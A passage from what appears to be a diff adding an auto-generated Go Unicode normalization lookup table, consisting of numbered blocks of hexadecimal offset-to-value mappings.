0x027e, 0x2d6: 0x026c, + 0x2f0: 0x025a, 0x2f1: 0x026f, 0x2f2: 0x0272, 0x2f4: 0x020c, 0x2f5: 0x024b, + 0x2f9: 0x022a, + // Block 0xc, offset 0x300 + 0x300: 0x3862, 0x301: 0x386e, 0x303: 0x385c, + 0x306: 0xa000, 0x307: 0x384a, + 0x30c: 0x389e, 0x30d: 0x3886, 0x30e: 0x38b0, 0x310: 0xa000, + 0x313: 0xa000, 0x315: 0xa000, 0x316: 0xa000, 0x317: 0xa000, + 0x318: 0xa000, 0x319: 0x3892, 0x31a: 0xa000, + 0x31e: 0xa000, 0x323: 0xa000, + 0x327: 0xa000, + 0x32b: 0xa000, 0x32d: 0xa000, + 0x330: 0xa000, 0x333: 0xa000, 0x335: 0xa000, + 0x336: 0xa000, 0x337: 0xa000, 0x338: 0xa000, 0x339: 0x3916, 0x33a: 0xa000, + 0x33e: 0xa000, + // Block 0xd, offset 0x340 + 0x341: 0x3874, 0x342: 0x38f8, + 0x350: 0x3850, 0x351: 0x38d4, + 0x352: 0x3856, 0x353: 0x38da, 0x356: 0x3868, 0x357: 0x38ec, + 0x358: 0xa000, 0x359: 0xa000, 0x35a: 0x396a, 0x35b: 0x3970, 0x35c: 0x387a, 0x35d: 0x38fe, + 0x35e: 0x3880, 0x35f: 0x3904, 0x362: 0x388c, 0x363: 0x3910, + 0x364: 0x3898, 0x365: 0x391c, 0x366: 0x38a4, 0x367: 0x3928, 0x368: 0xa000, 0x369: 0xa000, + 0x36a: 0x3976, 0x36b: 0x397c, 0x36c: 0x38ce, 0x36d: 0x3952, 0x36e: 0x38aa, 0x36f: 0x392e, + 0x370: 0x38b6, 0x371: 0x393a, 0x372: 0x38bc, 0x373: 0x3940, 0x374: 0x38c2, 0x375: 0x3946, + 0x378: 0x38c8, 0x379: 0x394c, + // Block 0xe, offset 0x380 + 0x387: 0x1e91, + 0x391: 0x812e, + 0x392: 0x8133, 0x393: 0x8133, 0x394: 0x8133, 0x395: 0x8133, 0x396: 0x812e, 0x397: 0x8133, + 0x398: 0x8133, 0x399: 0x8133, 0x39a: 0x812f, 0x39b: 0x812e, 0x39c: 0x8133, 0x39d: 0x8133, + 0x39e: 0x8133, 0x39f: 0x8133, 0x3a0: 0x8133, 0x3a1: 0x8133, 0x3a2: 0x812e, 0x3a3: 0x812e, + 0x3a4: 0x812e, 0x3a5: 0x812e, 0x3a6: 0x812e, 0x3a7: 0x812e, 0x3a8: 0x8133, 0x3a9: 0x8133, + 0x3aa: 0x812e, 0x3ab: 0x8133, 0x3ac: 0x8133, 0x3ad: 0x812f, 0x3ae: 0x8132, 0x3af: 0x8133, + 0x3b0: 0x8106, 0x3b1: 0x8107, 0x3b2: 0x8108, 0x3b3: 0x8109, 0x3b4: 0x810a, 0x3b5: 0x810b, + 0x3b6: 0x810c, 0x3b7: 0x810d, 0x3b8: 0x810e, 0x3b9: 0x810f, 0x3ba: 0x810f, 0x3bb: 0x8110, + 0x3bc: 0x8111, 0x3bd: 0x8112, 0x3bf: 0x8113, + // Block 0xf, offset 0x3c0 + 0x3c8: 0xa000, 0x3ca: 0xa000, 0x3cb: 0x8117, + 0x3cc: 0x8118, 0x3cd: 0x8119, 0x3ce: 0x811a, 0x3cf: 0x811b, 0x3d0: 0x811c, 0x3d1: 0x811d, + 0x3d2: 0x811e, 0x3d3: 0x9933, 0x3d4: 0x9933, 0x3d5: 0x992e, 0x3d6: 0x812e, 0x3d7: 0x8133, + 0x3d8: 0x8133, 0x3d9: 0x8133, 0x3da: 0x8133, 0x3db: 0x8133, 0x3dc: 0x812e, 0x3dd: 0x8133, + 0x3de: 0x8133, 0x3df: 0x812e, + 0x3f0: 0x811f, 0x3f5: 0x1eb4, + 0x3f6: 0x2143, 0x3f7: 0x217f, 0x3f8: 0x217a, + // Block 0x10, offset 0x400 + 0x40a: 0x8133, 0x40b: 0x8133, + 0x40c: 0x8133, 0x40d: 0x8133, 0x40e: 0x8133, 0x40f: 0x812e, 0x410: 0x812e, 0x411: 0x812e, + 0x412: 0x812e, 0x413: 0x812e, 0x414: 0x8133, 0x415: 0x8133, 0x416: 0x8133, 0x417: 0x8133, + 0x418: 0x8133, 0x419: 0x8133, 0x41a: 0x8133, 0x41b: 0x8133, 0x41c: 0x8133, 0x41d: 0x8133, + 0x41e: 0x8133, 0x41f: 0x8133, 0x420: 0x8133, 0x421: 0x8133, 0x423: 0x812e, + 0x424: 0x8133, 0x425: 0x8133, 0x426: 0x812e, 0x427: 0x8133, 0x428: 0x8133, 0x429: 0x812e, + 0x42a: 0x8133, 0x42b: 0x8133, 0x42c: 0x8133, 0x42d: 0x812e, 0x42e: 0x812e, 0x42f: 0x812e, + 0x430: 0x8117, 0x431: 0x8118, 0x432: 0x8119, 0x433: 0x8133, 0x434: 0x8133, 0x435: 0x8133, + 0x436: 0x812e, 0x437: 0x8133, 0x438: 0x8133, 0x439: 0x812e, 0x43a: 0x812e, 0x43b: 0x8133, + 0x43c: 0x8133, 0x43d: 0x8133, 0x43e: 0x8133, 0x43f: 0x8133, + // Block 0x11, offset 0x440 + 0x445: 0xa000, + 0x446: 0x2e5d, 0x447: 0xa000, 0x448: 0x2e65, 0x449: 0xa000, 0x44a: 0x2e6d, 0x44b: 0xa000, + 0x44c: 0x2e75, 0x44d: 0xa000, 0x44e: 0x2e7d, 0x451: 0xa000, + 0x452: 0x2e85, + 0x474: 0x8103, 0x475: 0x9900, + 0x47a: 0xa000, 0x47b: 0x2e8d, + 0x47c: 0xa000, 0x47d: 0x2e95, 0x47e: 0xa000, 0x47f: 0xa000, + // Block 0x12, offset 0x480 + 0x480: 0x0069, 0x481: 0x006b, 0x482: 0x006f, 0x483: 0x0083, 0x484: 0x0104, 0x485: 0x0107, + 0x486: 0x0506, 0x487: 0x0085, 0x488: 0x0089, 0x489: 0x008b, 0x48a: 0x011f, 0x48b: 0x0122, + 0x48c: 0x0125, 0x48d: 0x008f, 0x48f: 0x0097, 0x490: 0x009b, 0x491: 0x00e6, + 0x492: 0x009f, 0x493: 0x0110, 0x494: 0x050a, 0x495: 0x050e, 0x496: 0x00a1, 0x497: 0x00a9, + 0x498: 0x00ab, 0x499: 0x0516, 0x49a: 0x015b, 0x49b: 0x00ad, 0x49c: 0x051a, 0x49d: 0x0242, + 0x49e: 0x0245, 0x49f: 0x0248, 0x4a0: 0x027e, 0x4a1: 0x0281, 0x4a2: 0x0093, 0x4a3: 0x00a5, + 0x4a4: 0x00ab, 0x4a5: 0x00ad, 0x4a6: 0x0242, 0x4a7: 0x0245, 0x4a8: 0x026f, 0x4a9: 0x027e, + 0x4aa: 0x0281, + 0x4b8: 0x02b4, + // Block 0x13, offset 0x4c0 + 0x4db: 0x010a, 0x4dc: 0x0087, 0x4dd: 0x0113, + 0x4de: 0x00d7, 0x4df: 0x0125, 0x4e0: 0x008d, 0x4e1: 0x012b, 0x4e2: 0x0131, 0x4e3: 0x013d, + 0x4e4: 0x0146, 0x4e5: 0x0149, 0x4e6: 0x014c, 0x4e7: 0x051e, 0x4e8: 0x01c7, 0x4e9: 0x0155, + 0x4ea: 0x0522, 0x4eb: 0x01ca, 0x4ec: 0x0161, 0x4ed: 0x015e, 0x4ee: 0x0164, 0x4ef: 0x0167, + 0x4f0: 0x016a, 0x4f1: 0x016d, 0x4f2: 0x0176, 0x4f3: 0x018e, 0x4f4: 0x0191, 0x4f5: 0x00f2, + 0x4f6: 0x019a, 0x4f7: 0x019d, 0x4f8: 0x0512, 0x4f9: 0x01a0, 0x4fa: 0x01a3, 0x4fb: 0x00b5, + 0x4fc: 0x01af, 0x4fd: 0x01b2, 0x4fe: 0x01b5, 0x4ff: 0x0254, + // Block 0x14, offset 0x500 + 0x500: 0x8133, 0x501: 0x8133, 0x502: 0x812e, 0x503: 0x8133, 0x504: 0x8133, 0x505: 0x8133, + 0x506: 0x8133, 0x507: 0x8133, 0x508: 0x8133, 0x509: 0x8133, 0x50a: 0x812e, 0x50b: 0x8133, + 0x50c: 0x8133, 0x50d: 0x8136, 0x50e: 0x812b, 0x50f: 0x812e, 0x510: 0x812a, 0x511: 0x8133, + 0x512: 0x8133, 0x513: 0x8133, 0x514: 0x8133, 0x515: 0x8133, 0x516: 0x8133, 0x517: 0x8133, + 0x518: 0x8133, 0x519: 0x8133, 0x51a: 0x8133, 0x51b: 0x8133, 0x51c: 0x8133, 0x51d: 0x8133, + 0x51e: 0x8133, 0x51f: 0x8133, 0x520: 0x8133, 0x521: 0x8133, 0x522: 0x8133, 0x523: 0x8133, + 0x524: 0x8133, 0x525: 0x8133, 0x526: 0x8133, 0x527: 0x8133, 0x528: 0x8133, 0x529: 0x8133, + 0x52a: 0x8133, 0x52b: 0x8133, 0x52c: 0x8133, 0x52d: 0x8133, 0x52e: 0x8133, 0x52f: 0x8133, + 0x530: 0x8133, 0x531: 0x8133, 0x532: 0x8133, 0x533: 0x8133, 0x534: 0x8133, 0x535: 0x8133, + 0x536: 0x8134, 0x537: 0x8132, 0x538: 0x8132, 0x539: 0x812e, 0x53a: 0x812d, 0x53b: 0x8133, + 0x53c: 0x8135, 0x53d: 0x812e, 0x53e: 0x8133, 0x53f: 0x812e, + // Block 0x15, offset 0x540 + 0x540: 0x30d8, 0x541: 0x33e4, 0x542: 0x30e2, 0x543: 0x33ee, 0x544: 0x30e7, 0x545: 0x33f3, + 0x546: 0x30ec, 0x547: 0x33f8, 0x548: 0x3a0d, 0x549: 0x3b9c, 0x54a: 0x3105, 0x54b: 0x3411, + 0x54c: 0x310f, 0x54d: 0x341b, 0x54e: 0x311e, 0x54f: 0x342a, 0x550: 0x3114, 0x551: 0x3420, + 0x552: 0x3119, 0x553: 0x3425, 0x554: 0x3a30, 0x555: 0x3bbf, 0x556: 0x3a37, 0x557: 0x3bc6, + 0x558: 0x315a, 0x559: 0x3466, 0x55a: 0x315f, 0x55b: 0x346b, 0x55c: 0x3a45, 0x55d: 0x3bd4, + 0x55e: 0x3164, 0x55f: 0x3470, 0x560: 0x3173, 0x561: 0x347f, 0x562: 0x3191, 0x563: 0x349d, + 0x564: 0x31a0, 0x565: 0x34ac, 0x566: 0x3196, 0x567: 0x34a2, 0x568: 0x31a5, 0x569: 0x34b1, + 0x56a: 0x31aa, 0x56b: 0x34b6, 0x56c: 0x31f0, 0x56d: 0x34fc, 0x56e: 0x3a4c, 0x56f: 0x3bdb, + 0x570: 0x31fa, 0x571: 0x350b, 0x572: 0x3204, 0x573: 0x3515, 0x574: 0x320e, 0x575: 0x351f, + 0x576: 0x4805, 0x577: 0x4896, 0x578: 0x3a53, 0x579: 0x3be2, 0x57a: 0x3227, 0x57b: 0x3538, + 0x57c: 0x3222, 0x57d: 0x3533, 0x57e: 0x322c, 0x57f: 0x353d, + // Block 0x16, offset 0x580 + 0x580: 0x3231, 0x581: 0x3542, 0x582: 0x3236, 0x583: 0x3547, 0x584: 0x324a, 0x585: 0x355b, + 0x586: 0x3254, 0x587: 0x3565, 0x588: 0x3263, 0x589: 0x3574, 0x58a: 0x325e, 0x58b: 0x356f, + 0x58c: 0x3a76, 0x58d: 0x3c05, 0x58e: 0x3a84, 0x58f: 0x3c13, 0x590: 0x3a8b, 0x591: 0x3c1a, + 0x592: 0x3a92, 0x593: 0x3c21, 0x594: 0x3290, 0x595: 0x35a1, 0x596: 0x3295, 0x597: 0x35a6, + 0x598: 0x329f, 0x599: 0x35b0, 0x59a: 0x4832, 0x59b: 0x48c3, 0x59c: 0x3ad8, 0x59d: 0x3c67, + 0x59e: 0x32b8, 0x59f: 0x35c9, 0x5a0: 0x32c2, 0x5a1: 0x35d3, 0x5a2: 0x4841, 0x5a3: 0x48d2, + 0x5a4: 0x3adf, 0x5a5: 0x3c6e, 0x5a6: 0x3ae6, 0x5a7: 0x3c75, 0x5a8: 0x3aed, 0x5a9: 0x3c7c, + 0x5aa: 0x32d1, 0x5ab: 0x35e2, 0x5ac: 0x32db, 0x5ad: 0x35f1, 0x5ae: 0x32ef, 0x5af: 0x3605, + 0x5b0: 0x32ea, 0x5b1: 0x3600, 0x5b2: 0x332b, 0x5b3: 0x3641, 0x5b4: 0x333a, 0x5b5: 0x3650, + 0x5b6: 0x3335, 0x5b7: 0x364b, 0x5b8: 0x3af4, 0x5b9: 0x3c83, 0x5ba: 0x3afb, 0x5bb: 0x3c8a, + 0x5bc: 0x333f, 0x5bd: 0x3655, 0x5be: 0x3344, 0x5bf: 0x365a, + // Block 0x17, offset 0x5c0 + 0x5c0: 0x3349, 0x5c1: 0x365f, 0x5c2: 0x334e, 0x5c3: 0x3664, 0x5c4: 0x335d, 0x5c5: 0x3673, + 0x5c6: 0x3358, 0x5c7: 0x366e, 0x5c8: 0x3362, 0x5c9: 0x367d, 0x5ca: 0x3367, 0x5cb: 0x3682, + 0x5cc: 0x336c, 0x5cd: 0x3687, 0x5ce: 0x338a, 0x5cf: 0x36a5, 0x5d0: 0x33a3, 0x5d1: 0x36c3, + 0x5d2: 0x33b2, 0x5d3: 0x36d2, 0x5d4: 0x33b7, 0x5d5: 0x36d7, 0x5d6: 0x34bb, 0x5d7: 0x35e7, + 0x5d8: 0x3678, 0x5d9: 0x36b4, 0x5da: 0x1d10, 0x5db: 0x4418, + 0x5e0: 0x47e2, 0x5e1: 0x4873, 0x5e2: 0x30c4, 0x5e3: 0x33d0, + 0x5e4: 0x39b9, 0x5e5: 0x3b48, 0x5e6: 0x39b2, 0x5e7: 0x3b41, 0x5e8: 0x39c7, 0x5e9: 0x3b56, + 0x5ea: 0x39c0, 0x5eb: 0x3b4f, 0x5ec: 0x39ff, 0x5ed: 0x3b8e, 0x5ee: 0x39d5, 0x5ef: 0x3b64, + 0x5f0: 0x39ce, 0x5f1: 0x3b5d, 0x5f2: 0x39e3, 0x5f3: 0x3b72, 0x5f4: 0x39dc, 0x5f5: 0x3b6b, + 0x5f6: 0x3a06, 0x5f7: 0x3b95, 0x5f8: 0x47f6, 0x5f9: 0x4887, 0x5fa: 0x3141, 0x5fb: 0x344d, + 0x5fc: 0x312d, 0x5fd: 0x3439, 0x5fe: 0x3a1b, 0x5ff: 0x3baa, + // Block 0x18, offset 0x600 + 0x600: 0x3a14, 0x601: 0x3ba3, 0x602: 0x3a29, 0x603: 0x3bb8, 0x604: 0x3a22, 0x605: 0x3bb1, + 0x606: 0x3a3e, 0x607: 0x3bcd, 0x608: 0x31d2, 0x609: 0x34de, 0x60a: 0x31e6, 0x60b: 0x34f2, + 0x60c: 0x4828, 0x60d: 0x48b9, 0x60e: 0x3277, 0x60f: 0x3588, 0x610: 0x3a61, 0x611: 0x3bf0, + 0x612: 0x3a5a, 0x613: 0x3be9, 0x614: 0x3a6f, 0x615: 0x3bfe, 0x616: 0x3a68, 0x617: 0x3bf7, + 0x618: 0x3aca, 0x619: 0x3c59, 0x61a: 0x3aae, 0x61b: 0x3c3d, 0x61c: 0x3aa7, 0x61d: 0x3c36, + 0x61e: 0x3abc, 0x61f: 0x3c4b, 0x620: 0x3ab5, 0x621: 0x3c44, 0x622: 0x3ac3, 0x623: 0x3c52, + 0x624: 0x3326, 0x625: 0x363c, 0x626: 0x3308, 0x627: 0x361e, 0x628: 0x3b25, 0x629: 0x3cb4, + 0x62a: 0x3b1e, 0x62b: 0x3cad, 0x62c: 0x3b33, 0x62d: 0x3cc2, 0x62e: 0x3b2c, 0x62f: 0x3cbb, + 0x630: 0x3b3a, 0x631: 0x3cc9, 0x632: 0x3371, 0x633: 0x368c, 0x634: 0x3399, 0x635: 0x36b9, + 0x636: 0x3394, 0x637: 0x36af, 0x638: 0x3380, 0x639: 0x369b, + // Block 0x19, offset 0x640 + 0x640: 0x4945, 0x641: 0x494b, 0x642: 0x4a5f, 0x643: 0x4a77, 0x644: 0x4a67, 0x645: 0x4a7f, + 0x646: 0x4a6f, 0x647: 0x4a87, 0x648: 0x48eb, 0x649: 0x48f1, 0x64a: 0x49cf, 0x64b: 0x49e7, + 0x64c: 0x49d7, 0x64d: 0x49ef, 0x64e: 0x49df, 0x64f: 0x49f7, 0x650: 0x4957, 0x651: 0x495d, + 0x652: 0x3ef9, 0x653: 0x3f09, 0x654: 0x3f01, 0x655: 0x3f11, + 0x658: 0x48f7, 0x659: 0x48fd, 0x65a: 0x3e29, 0x65b: 0x3e39, 0x65c: 0x3e31, 0x65d: 0x3e41, + 0x660: 0x496f, 0x661: 0x4975, 0x662: 0x4a8f, 0x663: 0x4aa7, + 0x664: 0x4a97, 0x665: 0x4aaf, 0x666: 0x4a9f, 0x667: 0x4ab7, 0x668: 0x4903, 0x669: 0x4909, + 0x66a: 0x49ff, 0x66b: 0x4a17, 0x66c: 0x4a07, 0x66d: 0x4a1f, 0x66e: 0x4a0f, 0x66f: 0x4a27, + 0x670: 0x4987, 0x671: 0x498d, 0x672: 0x3f59, 0x673: 0x3f71, 0x674: 0x3f61, 0x675: 0x3f79, + 0x676: 0x3f69, 0x677: 0x3f81, 0x678: 0x490f, 0x679: 0x4915, 0x67a: 0x3e59, 0x67b: 0x3e71, + 0x67c: 0x3e61, 0x67d: 0x3e79, 0x67e: 0x3e69, 0x67f: 0x3e81, + // Block 0x1a, offset 0x680 + 0x680: 0x4993, 0x681: 0x4999, 0x682: 0x3f89, 0x683: 0x3f99, 0x684: 0x3f91, 0x685: 0x3fa1, + 0x688: 0x491b, 0x689: 0x4921, 0x68a: 0x3e89, 0x68b: 0x3e99, + 0x68c: 0x3e91, 0x68d: 0x3ea1, 0x690: 0x49a5, 0x691: 0x49ab, + 0x692: 0x3fc1, 0x693: 0x3fd9, 0x694: 0x3fc9, 0x695: 0x3fe1, 0x696: 0x3fd1, 0x697: 0x3fe9, + 0x699: 0x4927, 0x69b: 0x3ea9, 0x69d: 0x3eb1, + 0x69f: 0x3eb9, 0x6a0: 0x49bd, 0x6a1: 0x49c3, 0x6a2: 0x4abf, 0x6a3: 0x4ad7, + 0x6a4: 0x4ac7, 0x6a5: 0x4adf, 0x6a6: 0x4acf, 0x6a7: 0x4ae7, 0x6a8: 0x492d, 0x6a9: 0x4933, + 0x6aa: 0x4a2f, 0x6ab: 0x4a47, 0x6ac: 0x4a37, 0x6ad: 0x4a4f, 0x6ae: 0x4a3f, 0x6af: 0x4a57, + 0x6b0: 0x4939, 0x6b1: 0x445f, 0x6b2: 0x37d2, 0x6b3: 0x4465, 0x6b4: 0x4963, 0x6b5: 0x446b, + 0x6b6: 0x37e4, 0x6b7: 0x4471, 0x6b8: 0x3802, 0x6b9: 0x4477, 0x6ba: 0x381a, 0x6bb: 0x447d, + 0x6bc: 0x49b1, 0x6bd: 0x4483, + // Block 0x1b, offset 0x6c0 + 0x6c0: 0x3ee1, 0x6c1: 0x3ee9, 0x6c2: 0x42c5, 0x6c3: 0x42e3, 0x6c4: 0x42cf, 0x6c5: 0x42ed, + 0x6c6: 0x42d9, 0x6c7: 0x42f7, 0x6c8: 0x3e19, 0x6c9: 0x3e21, 0x6ca: 0x4211, 0x6cb: 0x422f, + 0x6cc: 0x421b, 0x6cd: 0x4239, 0x6ce: 0x4225, 0x6cf: 0x4243, 0x6d0: 0x3f29, 0x6d1: 0x3f31, + 0x6d2: 0x4301, 0x6d3: 0x431f, 0x6d4: 0x430b, 0x6d5: 0x4329, 0x6d6: 0x4315, 0x6d7: 0x4333, + 0x6d8: 0x3e49, 0x6d9: 0x3e51, 0x6da: 0x424d, 0x6db: 0x426b, 0x6dc: 0x4257, 0x6dd: 0x4275, + 0x6de: 0x4261, 0x6df: 0x427f, 0x6e0: 0x4001, 0x6e1: 0x4009, 0x6e2: 0x433d, 0x6e3: 0x435b, + 0x6e4: 0x4347, 0x6e5: 0x4365, 0x6e6: 0x4351, 0x6e7: 0x436f, 0x6e8: 0x3ec1, 0x6e9: 0x3ec9, + 0x6ea: 0x4289, 0x6eb: 0x42a7, 0x6ec: 0x4293, 0x6ed: 0x42b1, 0x6ee: 0x429d, 0x6ef: 0x42bb, + 0x6f0: 0x37c6, 0x6f1: 0x37c0, 0x6f2: 0x3ed1, 0x6f3: 0x37cc, 0x6f4: 0x3ed9, + 0x6f6: 0x4951, 0x6f7: 0x3ef1, 0x6f8: 0x3736, 0x6f9: 0x3730, 0x6fa: 0x3724, 0x6fb: 0x442f, + 0x6fc: 0x373c, 0x6fd: 0x43c8, 0x6fe: 0x0257, 0x6ff: 0x43c8, + // Block 0x1c, offset 0x700 + 0x700: 0x43e1, 0x701: 0x45c3, 0x702: 0x3f19, 0x703: 0x37de, 0x704: 0x3f21, + 0x706: 0x497b, 0x707: 0x3f39, 0x708: 0x3742, 0x709: 0x4435, 0x70a: 0x374e, 0x70b: 0x443b, + 0x70c: 0x375a, 0x70d: 0x45ca, 0x70e: 0x45d1, 0x70f: 0x45d8, 0x710: 0x37f6, 0x711: 0x37f0, + 0x712: 0x3f41, 0x713: 0x4625, 0x716: 0x37fc, 0x717: 0x3f51, + 0x718: 0x3772, 0x719: 0x376c, 0x71a: 0x3760, 0x71b: 0x4441, 0x71d: 0x45df, + 0x71e: 0x45e6, 0x71f: 0x45ed, 0x720: 0x382c, 0x721: 0x3826, 0x722: 0x3fa9, 0x723: 0x462d, + 0x724: 0x380e, 0x725: 0x3814, 0x726: 0x3832, 0x727: 0x3fb9, 0x728: 0x37a2, 0x729: 0x379c, + 0x72a: 0x3790, 0x72b: 0x444d, 0x72c: 0x378a, 0x72d: 0x45b5, 0x72e: 0x45bc, 0x72f: 0x0081, + 0x732: 0x3ff1, 0x733: 0x3838, 0x734: 0x3ff9, + 0x736: 0x49c9, 0x737: 0x4011, 0x738: 0x377e, 0x739: 0x4447, 0x73a: 0x37ae, 0x73b: 0x4459, + 0x73c: 0x37ba, 0x73d: 0x439b, 0x73e: 0x43cd, + // Block 0x1d, offset 0x740 + 0x740: 0x1d08, 0x741: 0x1d0c, 0x742: 0x0047, 0x743: 0x1d84, 0x745: 0x1d18, + 0x746: 0x1d1c, 0x747: 0x00ef, 0x749: 0x1d88, 0x74a: 0x008f, 0x74b: 0x0051, + 0x74c: 0x0051, 0x74d: 0x0051, 0x74e: 0x0091, 0x74f: 0x00e0, 0x750: 0x0053, 0x751: 0x0053, + 0x752: 0x0059, 0x753: 0x0099, 0x755: 0x005d, 0x756: 0x1abd, + 0x759: 0x0061, 0x75a: 0x0063, 0x75b: 0x0065, 0x75c: 0x0065, 0x75d: 0x0065, + 0x760: 0x1acf, 0x761: 0x1cf8, 0x762: 0x1ad8, + 0x764: 0x0075, 0x766: 0x023c, 0x768: 0x0075, + 0x76a: 0x0057, 0x76b: 0x4413, 0x76c: 0x0045, 0x76d: 0x0047, 0x76f: 0x008b, + 0x770: 0x004b, 0x771: 0x004d, 0x773: 0x005b, 0x774: 0x009f, 0x775: 0x0308, + 0x776: 0x030b, 0x777: 0x030e, 0x778: 0x0311, 0x779: 0x0093, 0x77b: 0x1cc8, + 0x77c: 0x026c, 0x77d: 0x0245, 0x77e: 0x01fd, 0x77f: 0x0224, + // Block 0x1e, offset 0x780 + 0x780: 0x055a, 0x785: 0x0049, + 0x786: 0x0089, 0x787: 0x008b, 0x788: 0x0093, 0x789: 0x0095, + 0x790: 0x235e, 0x791: 0x236a, + 0x792: 0x241e, 0x793: 0x2346, 0x794: 0x23ca, 0x795: 0x2352, 0x796: 0x23d0, 0x797: 0x23e8, + 0x798: 0x23f4, 0x799: 0x2358, 0x79a: 0x23fa, 0x79b: 0x2364, 0x79c: 0x23ee, 0x79d: 0x2400, + 0x79e: 0x2406, 0x79f: 0x1dec, 0x7a0: 0x0053, 0x7a1: 0x1a87, 0x7a2: 0x1cd4, 0x7a3: 0x1a90, + 0x7a4: 0x006d, 0x7a5: 0x1adb, 0x7a6: 0x1d00, 0x7a7: 0x1e78, 0x7a8: 0x1a93, 0x7a9: 0x0071, + 0x7aa: 0x1ae7, 0x7ab: 0x1d04, 0x7ac: 0x0059, 0x7ad: 0x0047, 0x7ae: 0x0049, 0x7af: 0x005b, + 0x7b0: 0x0093, 0x7b1: 0x1b14, 0x7b2: 0x1d48, 0x7b3: 0x1b1d, 0x7b4: 0x00ad, 0x7b5: 0x1b92, + 0x7b6: 0x1d7c, 0x7b7: 0x1e8c, 0x7b8: 0x1b20, 0x7b9: 0x00b1, 0x7ba: 0x1b95, 0x7bb: 0x1d80, + 0x7bc: 0x0099, 0x7bd: 0x0087, 0x7be: 0x0089, 0x7bf: 0x009b, + // Block 0x1f, offset 0x7c0 + 0x7c1: 0x3d47, 0x7c3: 0xa000, 0x7c4: 0x3d4e, 0x7c5: 0xa000, + 0x7c7: 0x3d55, 0x7c8: 0xa000, 0x7c9: 0x3d5c, + 0x7cd: 0xa000, + 0x7e0: 0x30a6, 0x7e1: 0xa000, 0x7e2: 0x3d6a, + 0x7e4: 0xa000, 0x7e5: 0xa000, + 0x7ed: 0x3d63, 0x7ee: 0x30a1, 0x7ef: 0x30ab, + 0x7f0: 0x3d71, 0x7f1: 0x3d78, 0x7f2: 0xa000, 0x7f3: 0xa000, 0x7f4: 0x3d7f, 0x7f5: 0x3d86, + 0x7f6: 0xa000, 0x7f7: 0xa000, 0x7f8: 0x3d8d, 0x7f9: 0x3d94, 0x7fa: 0xa000, 0x7fb: 0xa000, + 0x7fc: 0xa000, 0x7fd: 0xa000, + // Block 0x20, offset 0x800 + 0x800: 0x3d9b, 0x801: 0x3da2, 0x802: 0xa000, 0x803: 0xa000, 0x804: 0x3db7, 0x805: 0x3dbe, + 0x806: 0xa000, 0x807: 0xa000, 0x808: 0x3dc5, 0x809: 0x3dcc, + 0x811: 0xa000, + 0x812: 0xa000, + 0x822: 0xa000, + 0x828: 0xa000, 0x829: 0xa000, + 0x82b: 0xa000, 0x82c: 0x3de1, 0x82d: 0x3de8, 0x82e: 0x3def, 0x82f: 0x3df6, + 0x832: 0xa000, 0x833: 0xa000, 0x834: 0xa000, 0x835: 0xa000, + // Block 0x21, offset 0x840 + 0x860: 0x0023, 0x861: 0x0025, 0x862: 0x0027, 0x863: 0x0029, + 0x864: 0x002b, 0x865: 0x002d, 0x866: 0x002f, 0x867: 0x0031, 0x868: 0x0033, 0x869: 0x19af, + 0x86a: 0x19b2, 0x86b: 0x19b5, 0x86c: 0x19b8, 0x86d: 0x19bb, 0x86e: 0x19be, 0x86f: 0x19c1, + 0x870: 0x19c4, 0x871: 0x19c7, 0x872: 0x19ca, 0x873: 0x19d3, 0x874: 0x1b98, 0x875: 0x1b9c, + 0x876: 0x1ba0, 0x877: 0x1ba4, 0x878: 0x1ba8, 0x879: 0x1bac, 0x87a: 0x1bb0, 0x87b: 0x1bb4, + 0x87c: 0x1bb8, 0x87d: 0x1db0, 0x87e: 0x1db5, 0x87f: 0x1dba, + // Block 0x22, offset 0x880 + 0x880: 0x1dbf, 0x881: 0x1dc4, 0x882: 0x1dc9, 0x883: 0x1dce, 0x884: 0x1dd3, 0x885: 0x1dd8, + 0x886: 0x1ddd, 0x887: 0x1de2, 0x888: 0x19ac, 0x889: 0x19d0, 0x88a: 0x19f4, 0x88b: 0x1a18, + 0x88c: 0x1a3c, 0x88d: 0x1a45, 0x88e: 0x1a4b, 0x88f: 0x1a51, 0x890: 0x1a57, 0x891: 0x1c90, + 0x892: 0x1c94, 0x893: 0x1c98, 0x894: 0x1c9c, 0x895: 0x1ca0, 0x896: 0x1ca4, 0x897: 0x1ca8, + 0x898: 0x1cac, 0x899: 0x1cb0, 0x89a: 0x1cb4, 0x89b: 0x1cb8, 0x89c: 0x1c24, 0x89d: 0x1c28, + 0x89e: 0x1c2c, 0x89f: 0x1c30, 0x8a0: 0x1c34, 0x8a1: 0x1c38, 0x8a2: 0x1c3c, 0x8a3: 0x1c40, + 0x8a4: 0x1c44, 0x8a5: 0x1c48, 0x8a6: 0x1c4c, 0x8a7: 0x1c50, 0x8a8: 0x1c54, 0x8a9: 0x1c58, + 0x8aa: 0x1c5c, 0x8ab: 0x1c60, 0x8ac: 0x1c64, 0x8ad: 0x1c68, 0x8ae: 0x1c6c, 0x8af: 0x1c70, + 0x8b0: 0x1c74, 0x8b1: 0x1c78, 0x8b2: 0x1c7c, 0x8b3: 0x1c80, 0x8b4: 0x1c84, 0x8b5: 0x1c88, + 0x8b6: 0x0043, 0x8b7: 0x0045, 0x8b8: 0x0047, 0x8b9: 0x0049, 0x8ba: 0x004b, 0x8bb: 0x004d, + 0x8bc: 0x004f, 0x8bd: 0x0051, 0x8be: 0x0053, 0x8bf: 0x0055, + // Block 0x23, offset 0x8c0 + 0x8c0: 0x07ba, 0x8c1: 0x07de, 0x8c2: 0x07ea, 0x8c3: 0x07fa, 0x8c4: 0x0802, 0x8c5: 0x080e, + 0x8c6: 0x0816, 0x8c7: 0x081e, 0x8c8: 0x082a, 0x8c9: 0x087e, 0x8ca: 0x0896, 0x8cb: 0x08a6, + 0x8cc: 0x08b6, 0x8cd: 0x08c6, 0x8ce: 0x08d6, 0x8cf: 0x08f6, 0x8d0: 0x08fa, 0x8d1: 0x08fe, + 0x8d2: 0x0932, 0x8d3: 0x095a, 0x8d4: 0x096a, 0x8d5: 0x0972, 0x8d6: 0x0976, 0x8d7: 0x0982, + 0x8d8: 0x099e, 0x8d9: 0x09a2, 0x8da: 0x09ba, 0x8db: 0x09be, 0x8dc: 0x09c6, 0x8dd: 0x09d6, + 0x8de: 0x0a72, 0x8df: 0x0a86, 0x8e0: 0x0ac6, 0x8e1: 0x0ada, 0x8e2: 0x0ae2, 0x8e3: 0x0ae6, + 0x8e4: 0x0af6, 0x8e5: 0x0b12, 0x8e6: 0x0b3e, 0x8e7: 0x0b4a, 0x8e8: 0x0b6a, 0x8e9: 0x0b76, + 0x8ea: 0x0b7a, 0x8eb: 0x0b7e, 0x8ec: 0x0b96, 0x8ed: 0x0b9a, 0x8ee: 